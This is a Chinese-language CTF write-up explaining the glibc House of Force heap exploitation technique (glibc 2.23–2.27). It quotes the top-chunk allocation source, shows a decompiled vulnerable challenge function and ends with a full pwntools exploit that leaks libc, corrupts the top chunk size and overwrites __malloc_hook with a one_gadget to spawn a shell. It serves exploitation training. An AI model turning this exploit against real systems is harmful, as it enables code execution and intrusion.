# house-of-force
漏洞成因
堆溢出写
适用范围
2.23
——2.27
- 可分配任意大小的
chunk
- 需要泄露或已知地址
# 概要:
堆溢出写 topchunk 的 size,使得 size 值很大。可以申请到一些可利用地址
# 绕过检测:
victim = av->top;// 获取当前 top chunk 的地址 | |
size = chunksize (victim);// 计算 top chunk 的大小 | |
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) | |
//MINSIZE 就是堆块的最小 size,32 位程序为 0x10,64 位程序为 0x20 | |
// 如果 top chunk 的大小大于 nb (程序执行 malloc 需要分配的内存大小) | |
// 加上 MINSIZE 的大小,就从 top chunk 中来切一块内存 | |
// 之所以要加上 MINSIZE 是要保证切割后剩余的内存要是一个完整的堆块 | |
{ | |
remainder_size = size - nb;//remainder_size 为切割后的剩余大小 | |
remainder = chunk_at_offset (victim, nb);//remainder 为切割前 top chunk+nb 的值,也就是切割后 top chunk 的地址 | |
av->top = remainder;// 更新 top chunk | |
// 下面两个 set_head 给切割出去的堆块以及切割后的 top chunk 设置新的 size | |
set_head (victim, nb | PREV_INUSE | | |
(av != &main_arena ? NON_MAIN_ARENA : 0)); | |
set_head (remainder, remainder_size | PREV_INUSE); | |
check_malloced_chunk (av, victim, nb);// 调试用的,这里没用 | |
void *p = chunk2mem (victim);// 返回用户指针 | |
alloc_perturb (p, bytes); | |
return p; | |
} |
# 利用思路:
- 申请
chunk A
- 写
A
的时候溢出,修改top_chunk
的size
为很大的数 - 分配很大的
chunk
到任意已知地址
# 例题:
https://github.com/Yhuanhuan01/CTF_Pwn_Game/tree/main/house-of-force
unsigned __int64 add() | |
{ | |
const void **i; // [rsp+0h] [rbp-120h] | |
__int64 size; // [rsp+8h] [rbp-118h] | |
char s[256]; // [rsp+10h] [rbp-110h] BYREF | |
unsigned __int64 v4; // [rsp+118h] [rbp-8h] | |
v4 = __readfsqword(0x28u); | |
memset(s, 255, sizeof(s)); | |
for ( i = (const void **)&count; *i; ++i ) | |
; | |
if ( (char *)i - (char *)&count > 39 ) | |
exit(0); | |
puts("size"); | |
read(0, nptr, 0xFuLL); | |
size = atol(nptr); | |
*i = malloc(size);//size 大小没判断 | |
if ( !*i ) | |
exit(0); | |
printf("bin addr %p\n", *i); | |
puts("content"); | |
read(0, (void *)*i, 0x50uLL);// 可以堆溢出 | |
puts("done"); | |
return __readfsqword(0x28u) ^ v4; | |
} |
根据上面代码,size 大小可以申请很大(2.23-2.27),并且大小小于 0x50 的 chunk 可以进行堆溢出。可以想到利用 HOF
首先第一步,泄露 libc,利用可以申请很大的特点,我们可以申请超大内存,获取 libc 地址。
addr = Add(1000000,12,b'aaaaaaaa')#用 mapp 分配,泄露 libc |
接下来劫持 malloc_hook,但是劫持 malloc_hook 不太行,用 realloc 调整栈帧即可
# 完整 exp:
''' | |
huan_attack_pwn | |
''' | |
import sys | |
from pwn import * | |
# from LibcSearcher import * | |
# from ctypes import * | |
context(arch='amd64', os='linux', log_level='debug') | |
# context(arch='i386' , os='linux', log_level='debug') | |
binary = './pwn' | |
libc = './2.23-0ubuntu11.3_amd64/libc-2.23.so' | |
# host, port = ":".split(":") | |
print(('\033[31;40mremote\033[0m: (y)\n' | |
'\033[32;40mprocess\033[0m: (n)')) | |
if sys.argv[1] == 'y': | |
r = remote(host, int(port)) | |
else: | |
r = process(binary) | |
# r = gdb.debug(binary) | |
# libc = cdll.LoadLibrary(libc) | |
libc = ELF(libc) | |
# elf = ELF(binary) | |
# srand = libc.srand (libc.time (0)) #设置种子 | |
default = 1 | |
se = lambda data : r.send(data) | |
sa = lambda delim, data : r.sendafter(delim, data) | |
sl = lambda data : r.sendline(data) | |
sla = lambda delim, data : r.sendlineafter(delim, data) | |
rc = lambda numb=4096 : r.recv(numb) | |
rl = lambda time=default : r.recvline(timeout=time) | |
ru = lambda delims, time=default : r.recvuntil(delims,timeout=time) | |
rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True) | |
uu32 = lambda data : u32(data.ljust(4, b'\0')) | |
uu64 = lambda data : u64(data.ljust(8, b'\0')) | |
lic = lambda data : uu64(ru(data)[-6:]) | |
padding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5) | |
lg = lambda var_name : log.success(f"{var_name} :0x{globals()[var_name]:x}") | |
prl = lambda var_name : print(len(var_name)) | |
debug = lambda command='' : gdb.attach(r,command) | |
it = lambda : r.interactive() | |
def meau(idx): | |
sla( b'2:puts\n',str(idx)) | |
def Add(sz,num,ct): | |
meau(1) | |
sla(b"size\n",str(sz)) | |
ru("bin addr 0x") | |
addr = int(rc(num),16) | |
sa(b"content\n",ct) | |
return addr | |
# debug() | |
addr = Add(1000000,12,b'aaaaaaaa')#用 mapp 分配,泄露 libc | |
libcbase = addr - 7344144 | |
lg("addr") | |
lg("libcbase") | |
# debug() | |
pay = padding(0x28) + p64(0xffffffffffff) | |
addr_1 = Add(0x20,12,pay) | |
top_chunk = addr_1 + 0x20 | |
lg("addr_1") | |
lg("top_chunk") | |
malloc_hook = libcbase + libc.sym['__malloc_hook'] | |
realloc = libcbase + libc.sym['__libc_realloc'] | |
lg("malloc_hook") | |
lg("realloc") | |
offset_m = malloc_hook - top_chunk - 0x33 | |
offset_r = realloc - top_chunk | |
ogg = [0x4527a,0xf03a4,0xf1247] | |
og = ogg[0] + libcbase | |
pl = padding(8)+p64(realloc+0x10)+p64(og) | |
# debug() | |
Add(offset_m,12,b'pay\0') | |
Add(0x20,12,pl) | |
meau(1) | |
sla(b"size\n",str(0x20)) | |
it() |
参考
https://www.cnblogs.com/ZIKH26/articles/16533388.html
https://www.roderickchan.cn/zh-cn/2023-02-27-house-of-all-about-glibc-heap-exploitation/#23-house-of-force